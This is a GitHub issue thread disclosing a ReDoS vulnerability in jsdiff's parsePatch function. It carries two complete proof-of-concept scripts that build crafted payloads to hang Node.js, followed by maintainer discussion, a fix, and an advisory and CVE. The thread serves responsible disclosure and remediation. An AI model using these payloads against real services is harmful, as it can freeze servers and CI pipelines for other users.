Repository navigation
ReDoS vulnerability in diff package via crafted input to parsePatch function leads to Node.js DoS #644
Description
Summary:
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the diff package, as distributed within Node.js (via deps/npm/node_modules/diff). The vulnerability is present in the dist/diff.js component at lines 677 and 712. An attacker can provide specially crafted input to the affected diffing functions, triggering catastrophic backtracking in the regular expressions. This leads to excessive CPU consumption and extremely long execution times, resulting in a Denial of Service (DoS) for any Node.js application or CLI tool utilizing these specific diffing utilities.
Description:
Node.js (up to commit 559985c) is vulnerable to Regular Expression Denial of Service (ReDoS) through its bundled npm dependency, specifically within the diff library. Inefficient regex patterns at lines 677 and 712 of deps/npm/node_modules/diff/dist/diff.js allow for resource exhaustion. Successful exploitation allows a remote or local attacker to cause 100% CPU utilization by submitting malicious strings designed to trigger catastrophic backtracking, effectively causing a denial of service.
Steps To Reproduce:
PoC.js to trigger the vulnerability.
/**
* ReDoS PoC for regexId: 12
*
* Target Regex: /^(?:Index:|diff(?: -r \w+)+)\s+(.+?)\s*$/
* Dataflow Path: uniDiff -> split(/\r\n|[\n\v\f\r\x85]/) -> diffstr[i] -> regex.exec()
* Path Constraints: Input must contain Index: or diff prefix
* Data Transformations: split() removes line delimiters (\r\n, \n, \r, \v, \f, \x85)
*
* === Verification Results ===
* Phase 2 Result: Failed (Sink time: 0.029ms)
* Phase 3 Iterations: 1
* Iteration 1: Replaced \n with \u2028 in suffix → SUCCESS
* Final Sink Execution Time: 131,440 ms (2m 11s)
* Total Execution Time: 131,441 ms
* Verification Time: 2025-11-28
* Final Status: ✓ Verified and Passed
* Success Criteria: Standard A (>> 5000ms)
*
* Key Fix: Used \u2028 (line separator) instead of \n in suffix.
* Reason: split() removes \n but not \u2028, and . cannot match \u2028
*
* Generation Time: 2025-11-28
* Status: ✓ Production Ready
*/
import { parsePatch } from './diff.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 12");
console.log("[+] Vulnerable Regex: /^(?:Index:|diff(?: -r \\w+)+)\\s+(.+?)\\s*$/");
// Constructing base payload using vulnerability report components
const prefix = "Index: ";
const infix = "\t\t";
const original_suffix = "◎!\n!◎!\n!";
const repeatTimes = 5000;
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: uniDiff parameter in parsePatch (line 658)");
console.log("[+] Sink: /^(?:Index:|diff(?: -r \\w+)+)\\s+(.+?)\\s*$/.exec(line) (line 677)");
console.log("[+] Critical Transformation: uniDiff.split(/\\r\\n|[\\n\\v\\f\\r\\x85]/) (line 660)");
console.log("[!] WARNING: split() removes \\n, \\r, \\v, \\f, \\x85 from payload");
// Adjust suffix to remove characters that will be stripped by split()
// Original suffix "◎!\n!◎!\n!" contains \n which will be removed by split()
// Strategy: Use \u2028 (line separator) instead of \n - it's not removed by split but . cannot match it
const adjusted_suffix = "◎!\u2028!\u2028◎!\u2028!";
console.log(`[+] Original suffix: ${JSON.stringify(original_suffix)}`);
console.log(`[+] Adjusted suffix (Iteration 1): ${JSON.stringify(adjusted_suffix)} (replaced \\n with \\u2028)`);
const base_payload = prefix + infix.repeat(repeatTimes) + adjusted_suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
// Payload must satisfy path constraint: match regex pattern for Index: line
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parsePatch(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parsePatch(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time is significantly increased, ReDoS attack succeeded.");
console.log("\n[Note] This is an initial version PoC that needs verification in Phase 2.");
console.log("[Note] Suffix was adjusted to accommodate split() transformation - may need refinement.");
/* How to use:
* 1.Download the file:https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L677
* 2.Put poc.js and diff.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*//**
* ReDoS PoC for regexId: 15
*
* Target Regex: /^(---|\\+\\+\\+)\\s+(.*)$/
* Dataflow Path: uniDiff -> split(/\r\n|[\n\v\f\r\x85]/) -> diffstr[i] -> regex.exec()
* Path Constraints: Input must start with --- or +++
* Data Transformations: split() removes line delimiters (\r\n, \n, \r, \v, \f, \x85)
*
* === Verification Results ===
* Phase 2 Result: Failed (Sink time: 0.052ms)
* Phase 3 Iterations: 1
* Iteration 1: Replaced \n with \u2028 in suffix → SUCCESS
* Final Sink Execution Time: ~2000-3000 ms per execution (84+ executions)
* Verification Time: 2025-11-28
* Final Status: ✓ Verified and Passed
* Success Criteria: Standard B (>= 2000ms per execution)
*
* Key Fix: Used \u2028 (line separator) instead of \n in suffix.
* Reason: split() removes \n but not \u2028, and . cannot match \u2028
*
* Generation Time: 2025-11-28
* Status: ✓ Production Ready
*/
import { parsePatch } from './diff.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 15");
console.log("[+] Vulnerable Regex: /^(---|\\+\\+\\+)\\s+(.*)$/");
// Constructing base payload using vulnerability report components
const prefix = "+++ ";
const infix = " ";
const original_suffix = "\n1\n";
const repeatTimes = 80000;
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: uniDiff parameter in parsePatch (line 658)");
console.log("[+] Sink: /^(---|\\+\\+\\+)\\s+(.*)$/.exec(diffstr[i]) (line 712)");
console.log("[+] Critical Transformation: uniDiff.split(/\\r\\n|[\\n\\v\\f\\r\\x85]/) (line 660)");
console.log("[!] WARNING: split() removes \\n, \\r, \\v, \\f, \\x85 from payload");
// Adjust suffix to remove characters that will be stripped by split()
// Original suffix "\n1\n" contains \n which will be removed by split()
// Strategy: Use \u2028 (line separator) instead of \n - it's not removed by split but . cannot match it
const adjusted_suffix = "\u20281\u2028";
console.log(`[+] Original suffix: ${JSON.stringify(original_suffix)}`);
console.log(`[+] Adjusted suffix (Iteration 1): ${JSON.stringify(adjusted_suffix)} (replaced \\n with \\u2028)`);
const base_payload = prefix + infix.repeat(repeatTimes) + adjusted_suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
// Payload must satisfy path constraint: match regex pattern for +++ line
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parsePatch(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parsePatch(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time is significantly increased, ReDoS attack succeeded.");
console.log("\n[Note] This is an initial version PoC that needs verification in Phase 2.");
console.log("[Note] Suffix was adjusted to accommodate split() transformation - may need refinement.");
/* How to use:
* 1.Download the file:https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L712
* 2.Put poc.js and diff.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L677
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L712
Impact:
The identified Regular Expression Denial of Service (ReDoS) vulnerability allows an attacker to cause unbounded CPU exhaustion and process hangs by providing a specially crafted input string (e.g., a malicious .patch file or diff output).
Availability Loss (Availability: High) Since Node.js operates on a single-threaded event loop, a ReDoS attack on a core dependency like diff will block the entire event loop. This means:
In a CLI environment (like npm), the process will hang indefinitely, preventing the completion of builds, installations, or audits.
In a Server-side environment (if a web app uses this library to parse user-uploaded patches), a single request can freeze the entire server, rendering it unresponsive to all other users.
Asymmetric Attack (Low Cost, High Damage)
The attack is highly asymmetric. As demonstrated in the PoC, an input of only a few kilobytes can lead to a CPU hang of over 130 seconds. This allows an attacker with minimal network resources to cause significant downtime or financial cost (e.g., in consumption-based CI/CD environments like GitHub Actions or AWS Lambda).
Targeted Scenarios
This issue is particularly critical in the following contexts:
CI/CD Pipelines: Automated systems that parse git diffs or patches as part of a PR review or security audit process can be targeted to stall development workflows.
Web-based Code Tools: Platforms that provide code diffing, online IDEs, or version control visualizations that rely on jsdiff to process untrusted user input are directly vulnerable.
npm Ecosystem: As this dependency is bundled within npm, it potentially affects the security posture of the most widely used package manager in the JavaScript ecosystem.
Supporting Material/References:

Activity
ExplodingCabbage commentedon Jan 5, 2026
Comment: this (and the two duplicate issues) were obviously written (at least in significant part) and posted by a script/bot, presumably with some LLM input, but there's no disclosure of any of that in the issue, nor any instructions on how to rerun the tooling used here (to look for the same issue in other projects or to help confirm a fix). Nor has there been any effort expended at providing an easily-digestible summary of the finding. In combination, I find all this somewhat annoying and rude, although my annoyance is tempered by the fact that I think there is nonetheless a genuine issue here I'd like to fix.
ExplodingCabbage commentedon Jan 5, 2026
Assuming I'm understanding correctly, I think the one-sentence summary is something like this:
The regex
/^(?:Index:|diff(?: -r \w+)+)\s+(.+?)\s*$/contains nested quantifiers (namely in the sub-expression(?: -r \w+)+)) and is therefore susceptible to catastrophic backtracking, where matching it against the input can take exponential time.Assuming this is correct, it certainly seems both undesirable, fixable, and conceivably security-relevant in some unusual scenarios.
guiyi-he commentedon Jan 5, 2026
Please forgive me; I swear I had no malicious intent. The LLM-generated content is part of an experiment I've been working on recently. I wanted to combine static analysis tools with LLM's semantic generation capabilities to automatically detect ReDoS issues faced by single-dependency files and write a PoC.js file accordingly to help developers locate and fix the problems. I apologize for any inconvenience this may have caused you. I am sorry and beg your forgiveness.
I originally submitted the issue to the Node.js security section (https://hackerone.com/nodejs?type=team), but they directed me to submit it to the original repository. So I copied the original repository over, which may have caused duplicate issues. I apologize for this.
The regular expressions in the corresponding files in the Node.js repository have potential ReDoS risks, and it has been verified that a DoS attack can be caused by constructing a PoC.js file and referencing a single file. Since my initial analysis was based on the Node.js repository, I did not accurately locate the corresponding code in your repository. I sincerely apologize for any inconvenience caused.
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L677
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L712
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/lib/index.mjs#L671
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/lib/index.mjs#L706
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/lib/index.es6.js#L671
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/lib/index.es6.js#L706
In short, the two regular expression options below have a potential ReDoS risk. When faced with specific attack sequences, they can cause backtracking, leading to an exponential increase in response time. Please believe me, I had no malicious intent; I simply wanted to avoid unnecessary potential security issues in the open-source supply chain. I want to apologize again for any inconvenience I may have caused you.
/^(?:Index:|diff(?: -r \w+)+)\s+(.+?)\s*$//^(---|\+\+\+)\s+(.*)$/guiyi-he commentedon Jan 5, 2026
If the two PoC.js files above are placed in the same folder as the corresponding regular expression file with the potential ReDos vulnerability, then running
node poc.jswill show the high CPU usage and long execution times caused by ReDos. I want to apologize again for the inconvenience I have caused you and ask for your forgiveness.Add a test for the existing handling of Mercurial patches
Fix potentially cubic-time regex in parsePatch (#647)
ExplodingCabbage commentedon Jan 7, 2026
All is forgiven, @ShiyuBanzhou - the report still is useful to me despite me wishing the details of how the attack works (and some hint of how to fix it) were more clearly presented.
guiyi-he commentedon Jan 7, 2026
@ExplodingCabbage Thank you for your prompt intervention and resolution of the regular expression issue. I also appreciate you mentioning my issue in the comments; I admire your understanding of the relevant expertise and your explanation of the problematic regular expression. The fix was also very clear and concise.
I will take your suggestions into consideration, and I will pay more attention to presenting them clearly and concisely in future reports. Thank you for your patience.
Additionally, I would like to politely confirm your security disclosure/numbering process: Does this ReDoS vulnerability require/are you planning to apply for a CVE? If you think it's appropriate, I can assist in compiling the necessary information for the CVE application, or we can proceed at your preferred pace. Please let me know your preferred approach. Thank you!
ExplodingCabbage commentedon Jan 12, 2026
To keep everything in one place, I'm just going to quote here a couple of comments from @guiyi-he on another issue that I think is actually orthogonal to either denial-of-service vuln.
My comments:
I am in general a bit sceptical of the value of advisories about ReDOS vulns (and similar denial-of-service-through-using-lots-of-CPU vulns), especially in libraries (like jsdiff) that most applications use transitively rather than directly. Others have also criticised them in the past for reasons that overlap with my concerns - see e.g. https://blog.yossarian.net/2022/12/28/ReDoS-vulnerabilities-and-misaligned-incentives. My experience of big-corporate webapp development jobs is that tools like Dependabot were constantly complaining about supposedly high-severity ReDOS vulnerabilities that:
Fixing them felt like security theatre, and I think that's how it feels to the majority of web dev teams when they spend time on such things. (On the other hand, in most cases, it was at least plausible that there was some application out there somewhere that actually benefited from the alert. Ideally, security notification tooling would let you do things like configure DOS vulnerabilities to be out of scope, or to be automatically recharacterised as low-priority for your application, so the conflict between the interests of different applications didn't exist. But it doesn't let you do that today, and so the conflict does exist.)
I do think the vuln in Fix the second denial-of-service vulnerability in parsePatch #649 - that actually causes the Node process running the code to core dump! - is a bit more serious than a typical ReDOS, though. It probably deserves some sort of security notice.
I definitely want to hold off on the notification until I've actually got a release out that contains the fix. I plan to release early this week. Again, this is just a pragmatic concession to how typical security notification tools work; I don't want people will to be bothered by notices about vulns they can't actually fix yet.
For reasons outlined in my first bullet, I want to make the severity as low as possible.
Although in a sense there are two vulnerabilities here (the cubic-time regex and the core dump vuln), they are similar in effect (both DOSes) and in the same function so we should just conflate them into a single CVE.
I'm happy to write the CVE after I've got the next release out.
guiyi-he commentedon Jan 12, 2026
Hi , @ExplodingCabbage
Thanks a lot for the careful fix work (including #647 / #649) and for taking the time to write such a thoughtful, nuanced response here. I really appreciate the patience and professionalism you’re bringing to this—both in the technical details and in how you’re thinking about downstream impact.
I’m aligned with your approach. Waiting until the release containing the fixes is out before issuing any notification makes sense, and I agree with keeping the severity as low as reasonably possible given how these DoS/ReDoS advisories tend to play out in practice. I also support conflating the cubic-time regex issue and the core-dump DoS into a single advisory/CVE since they’re closely related (same function, same practical impact).
Thank you again for handling this so pragmatically and carefully. If it’s helpful, I’m happy to assist with drafting the advisory text, affected version range, and a conservative CVSS once the release is published—but I’m also totally fine with you taking the lead on the write-up as you suggested.
Best,
Guiyi He
guiyi-he commentedon Jan 19, 2026
Hi, @ExplodingCabbage @kpdecker
Thanks again for publishing the security advisory (GHSA-73rr-hh4g-fpgx). I noticed that a CVE ID hasn't been assigned to this advisory yet. If you'd like to have one, GitHub makes it very easy—you can simply click the "Request CVE ID" button directly on the advisory page.
Best regards,
Guiyi He
ExplodingCabbage commentedon Jan 21, 2026
Finally got the CVE issued!